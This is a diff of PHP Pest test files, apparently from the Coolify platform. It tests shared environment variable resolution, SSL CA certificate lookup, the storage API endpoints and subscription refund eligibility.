||||
$team->members()->attach($user->id, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $team->id]]);
|
||||
|
||||
Livewire::test(Updates::class)
|
||||
->assertRedirect(route('dashboard'));
|
||||
});
|
||||
|
||||
test('instance admin can access settings updates page', function () {
|
||||
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
|
||||
Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]);
|
||||
InstanceSettings::create(['id' => 0]);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$rootTeam->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(Updates::class)
|
||||
->assertOk()
|
||||
->assertNoRedirect();
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves environment-scoped variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'DRAGONFLY_URL',
|
||||
'value' => 'redis://dragonfly:6379',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{environment.DRAGONFLY_URL}}', $this->application);
|
||||
expect($resolved)->toBe('redis://dragonfly:6379');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves project-scoped variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'postgres.internal',
|
||||
'type' => 'project',
|
||||
'project_id' => $this->project->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{project.DB_HOST}}', $this->application);
|
||||
expect($resolved)->toBe('postgres.internal');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves team-scoped variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'GLOBAL_API_KEY',
|
||||
'value' => 'sk-123456',
|
||||
'type' => 'team',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{team.GLOBAL_API_KEY}}', $this->application);
|
||||
expect($resolved)->toBe('sk-123456');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables returns original when no match found', function () {
|
||||
$resolved = resolveSharedEnvironmentVariables('{{environment.NONEXISTENT}}', $this->application);
|
||||
expect($resolved)->toBe('{{environment.NONEXISTENT}}');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables handles null and empty values', function () {
|
||||
expect(resolveSharedEnvironmentVariables(null, $this->application))->toBeNull();
|
||||
expect(resolveSharedEnvironmentVariables('', $this->application))->toBe('');
|
||||
expect(resolveSharedEnvironmentVariables('plain-value', $this->application))->toBe('plain-value');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves multiple variables in one string', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'HOST',
|
||||
'value' => 'myhost',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'PORT',
|
||||
'value' => '6379',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('redis://{{environment.HOST}}:{{environment.PORT}}', $this->application);
|
||||
expect($resolved)->toBe('redis://myhost:6379');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables handles spaces in pattern', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'MY_VAR',
|
||||
'value' => 'resolved-value',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{ environment.MY_VAR }}', $this->application);
|
||||
expect($resolved)->toBe('resolved-value');
|
||||
});
|
||||
|
||||
test('EnvironmentVariable real_value still resolves shared variables after refactor', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'DRAGONFLY_URL',
|
||||
'value' => 'redis://dragonfly:6379',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'REDIS_URL',
|
||||
'value' => '{{environment.DRAGONFLY_URL}}',
|
||||
'resourceable_id' => $this->application->id,
|
||||
'resourceable_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
expect($env->real_value)->toBe('redis://dragonfly:6379');
|
||||
});
|
||||
@@ -1,7 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\SharedVariables\Environment\Show;
|
||||
use App\Livewire\SharedVariables\Team\Index;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
@@ -19,13 +23,35 @@ beforeEach(function () {
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
InstanceSettings::unguarded(function () {
|
||||
InstanceSettings::updateOrCreate([
|
||||
'id' => 0,
|
||||
], [
|
||||
'is_registration_enabled' => true,
|
||||
'is_api_enabled' => true,
|
||||
'smtp_enabled' => true,
|
||||
'smtp_host' => 'localhost',
|
||||
'smtp_port' => 1025,
|
||||
'smtp_from_address' => 'hi@example.com',
|
||||
'smtp_from_name' => 'Coolify',
|
||||
]);
|
||||
});
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
request()->setRouteResolver(function () {
|
||||
return null;
|
||||
});
|
||||
});
|
||||
|
||||
test('environment shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
Livewire::test(Show::class, [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
])
|
||||
->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value")
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
@@ -38,7 +64,9 @@ test('environment shared variable dev view saves without openssl_encrypt error',
|
||||
});
|
||||
|
||||
test('project shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Project\Show::class)
|
||||
Livewire::test(App\Livewire\SharedVariables\Project\Show::class, [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
])
|
||||
->set('variables', 'PROJ_VAR=proj_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
@@ -49,7 +77,7 @@ test('project shared variable dev view saves without openssl_encrypt error', fun
|
||||
});
|
||||
|
||||
test('team shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Team\Index::class)
|
||||
Livewire::test(Index::class)
|
||||
->set('variables', 'TEAM_VAR=team_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
@@ -69,7 +97,10 @@ test('environment shared variable dev view updates existing variable', function
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
Livewire::test(Show::class, [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
])
|
||||
->set('variables', 'EXISTING_VAR=new_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
@@ -77,3 +108,63 @@ test('environment shared variable dev view updates existing variable', function
|
||||
$var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first();
|
||||
expect($var->value)->toBe('new_value');
|
||||
});
|
||||
|
||||
test('server shared variable dev view saves without openssl_encrypt error', function () {
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
Livewire::test(App\Livewire\SharedVariables\Server\Show::class, [
|
||||
'server_uuid' => $this->server->uuid,
|
||||
])
|
||||
->set('variables', "SERVER_VAR=server_value\nSECOND_SERVER_VAR=second_value")
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->server->environment_variables()->pluck('value', 'key')->toArray();
|
||||
|
||||
expect($vars)->toHaveKey('SERVER_VAR')
|
||||
->and($vars['SERVER_VAR'])->toBe('server_value')
|
||||
->and($vars)->toHaveKey('SECOND_SERVER_VAR')
|
||||
->and($vars['SECOND_SERVER_VAR'])->toBe('second_value');
|
||||
});
|
||||
|
||||
test('server shared variable dev view preserves inline comments', function () {
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
Livewire::test(App\Livewire\SharedVariables\Server\Show::class, [
|
||||
'server_uuid' => $this->server->uuid,
|
||||
])
|
||||
->set('variables', 'COMMENTED_SERVER_VAR=value # note from dev view')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$var = $this->server->environment_variables()->where('key', 'COMMENTED_SERVER_VAR')->first();
|
||||
|
||||
expect($var)->not->toBeNull()
|
||||
->and($var->value)->toBe('value')
|
||||
->and($var->comment)->toBe('note from dev view');
|
||||
});
|
||||
|
||||
test('server shared variable dev view updates existing variable', function () {
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'EXISTING_SERVER_VAR',
|
||||
'value' => 'old_value',
|
||||
'comment' => 'old comment',
|
||||
'type' => 'server',
|
||||
'server_id' => $this->server->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
Livewire::test(App\Livewire\SharedVariables\Server\Show::class, [
|
||||
'server_uuid' => $this->server->uuid,
|
||||
])
|
||||
->set('variables', 'EXISTING_SERVER_VAR=new_value # updated comment')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$var = $this->server->environment_variables()->where('key', 'EXISTING_SERVER_VAR')->first();
|
||||
|
||||
expect($var->value)->toBe('new_value')
|
||||
->and($var->comment)->toBe('updated comment');
|
||||
});
|
||||
@@ -0,0 +1,82 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
});
|
||||
|
||||
test('server with no CA certificate returns null from sslCertificates query', function () {
|
||||
$caCert = $this->server->sslCertificates()
|
||||
->where('is_ca_certificate', true)
|
||||
->first();
|
||||
|
||||
expect($caCert)->toBeNull();
|
||||
});
|
||||
|
||||
test('accessing property on null CA cert throws an error', function () {
|
||||
// This test verifies the exact scenario that caused the 500 error:
|
||||
// querying for a CA cert on a server that has none, then trying to access properties
|
||||
$caCert = $this->server->sslCertificates()
|
||||
->where('is_ca_certificate', true)
|
||||
->first();
|
||||
|
||||
expect($caCert)->toBeNull();
|
||||
|
||||
// Without the fix, the code would do:
|
||||
// caCert: $caCert->ssl_certificate <-- 500 error
|
||||
expect(fn () => $caCert->ssl_certificate)
|
||||
->toThrow(ErrorException::class);
|
||||
});
|
||||
|
||||
test('CA certificate can be retrieved when it exists on the server', function () {
|
||||
// Create a CA certificate directly (simulating what generateCaCertificate does)
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'test-ca-cert',
|
||||
'ssl_private_key' => 'test-ca-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
$caCert = $this->server->sslCertificates()
|
||||
->where('is_ca_certificate', true)
|
||||
->first();
|
||||
|
||||
expect($caCert)->not->toBeNull()
|
||||
->and($caCert->is_ca_certificate)->toBeTruthy()
|
||||
->and($caCert->ssl_certificate)->toBe('test-ca-cert')
|
||||
->and($caCert->ssl_private_key)->toBe('test-ca-key');
|
||||
});
|
||||
|
||||
test('non-CA certificate is not returned when querying for CA certificate', function () {
|
||||
// Create only a regular (non-CA) certificate
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => false,
|
||||
'ssl_certificate' => 'test-cert',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'test-db-uuid',
|
||||
'valid_until' => now()->addYear(),
|
||||
]);
|
||||
|
||||
$caCert = $this->server->sslCertificates()
|
||||
->where('is_ca_certificate', true)
|
||||
->first();
|
||||
|
||||
// The CA cert query should return null since only a regular cert exists
|
||||
expect($caCert)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,379 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\LocalFileVolume;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Bus;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Bus::fake();
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'test-token',
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createTestApplication($context): Application
|
||||
{
|
||||
return Application::factory()->create([
|
||||
'environment_id' => $context->environment->id,
|
||||
]);
|
||||
}
|
||||
|
||||
function createTestDatabase($context): StandalonePostgresql
|
||||
{
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $context->environment->id,
|
||||
'destination_id' => $context->destination->id,
|
||||
'destination_type' => $context->destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
// Application Storage Endpoints
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('GET /api/v1/applications/{uuid}/storages', function () {
|
||||
test('lists storages for an application', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/applications/{$app->uuid}/storages");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonCount(1, 'persistent_storages');
|
||||
$response->assertJsonCount(0, 'file_storages');
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent application', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/applications/non-existent-uuid/storages');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/applications/{uuid}/storages', function () {
|
||||
test('creates a persistent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'my-volume',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalPersistentVolume::where('resource_id', $app->id)
|
||||
->where('resource_type', $app->getMorphClass())
|
||||
->first();
|
||||
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->name)->toBe($app->uuid.'-my-volume');
|
||||
expect($vol->mount_path)->toBe('/data');
|
||||
expect($vol->uuid)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('creates a file storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'file',
|
||||
'mount_path' => '/app/config.json',
|
||||
'content' => '{"key": "value"}',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalFileVolume::where('resource_id', $app->id)
|
||||
->where('resource_type', get_class($app))
|
||||
->first();
|
||||
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->mount_path)->toBe('/app/config.json');
|
||||
expect($vol->is_directory)->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects persistent storage without name', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects invalid type-specific fields', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'vol',
|
||||
'mount_path' => '/data',
|
||||
'content' => 'should not be here',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/storages', function () {
|
||||
test('updates a persistent storage by uuid', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'uuid' => $vol->uuid,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/new-data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/new-data');
|
||||
});
|
||||
|
||||
test('updates a persistent storage by id (backwards compat)', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'id' => $vol->id,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/updated',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/updated');
|
||||
});
|
||||
|
||||
test('returns 422 when neither uuid nor id is provided', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/applications/{uuid}/storages/{storage_uuid}', function () {
|
||||
test('deletes a persistent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/{$vol->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Storage deleted.']);
|
||||
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
|
||||
});
|
||||
|
||||
test('finds file storage without type param and calls deleteStorageOnServer', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalFileVolume::create([
|
||||
'fs_path' => '/tmp/test',
|
||||
'mount_path' => '/app/config.json',
|
||||
'content' => '{}',
|
||||
'is_directory' => false,
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => get_class($app),
|
||||
]);
|
||||
|
||||
// Verify the storage is found via fileStorages (not persistentStorages)
|
||||
$freshApp = Application::find($app->id);
|
||||
expect($freshApp->persistentStorages->where('uuid', $vol->uuid)->first())->toBeNull();
|
||||
expect($freshApp->fileStorages->where('uuid', $vol->uuid)->first())->not->toBeNull();
|
||||
expect($vol)->toBeInstanceOf(LocalFileVolume::class);
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/non-existent");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
// Database Storage Endpoints
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('GET /api/v1/databases/{uuid}/storages', function () {
|
||||
test('lists storages for a database', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/databases/{$db->uuid}/storages");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonStructure(['persistent_storages', 'file_storages']);
|
||||
// Database auto-creates a default persistent volume
|
||||
$response->assertJsonCount(1, 'persistent_storages');
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent database', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/databases/non-existent-uuid/storages');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/{uuid}/storages', function () {
|
||||
test('creates a persistent storage for a database', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$db->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'extra-data',
|
||||
'mount_path' => '/extra',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalPersistentVolume::where('name', $db->uuid.'-extra-data')->first();
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->mount_path)->toBe('/extra');
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/storages', function () {
|
||||
test('updates a persistent storage by uuid', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $db->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $db->id,
|
||||
'resource_type' => $db->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$db->uuid}/storages", [
|
||||
'uuid' => $vol->uuid,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/updated',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/updated');
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/databases/{uuid}/storages/{storage_uuid}', function () {
|
||||
test('deletes a persistent storage', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $db->uuid.'-test-vol',
|
||||
'mount_path' => '/extra',
|
||||
'resource_id' => $db->id,
|
||||
'resource_type' => $db->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/databases/{$db->uuid}/storages/{$vol->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -43,9 +43,11 @@ beforeEach(function () {
|
||||
|
||||
describe('checkEligibility', function () {
|
||||
test('returns eligible when subscription is within 30 days', function () {
|
||||
$periodEnd = now()->addDays(20)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
@@ -58,12 +60,15 @@ describe('checkEligibility', function () {
|
||||
|
||||
expect($result['eligible'])->toBeTrue();
|
||||
expect($result['days_remaining'])->toBe(20);
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when subscription is past 30 days', function () {
|
||||
$periodEnd = now()->addDays(25)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(35)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
@@ -77,12 +82,15 @@ describe('checkEligibility', function () {
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['days_remaining'])->toBe(0);
|
||||
expect($result['reason'])->toContain('30-day refund window has expired');
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when subscription is not active', function () {
|
||||
$periodEnd = now()->addDays(25)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'canceled',
|
||||
'start_date' => now()->subDays(5)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
@@ -94,6 +102,7 @@ describe('checkEligibility', function () {
|
||||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when no subscription exists', function () {
|
||||
@@ -104,6 +113,7 @@ describe('checkEligibility', function () {
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('No active subscription');
|
||||
expect($result['current_period_end'])->toBeNull();
|
||||
});
|
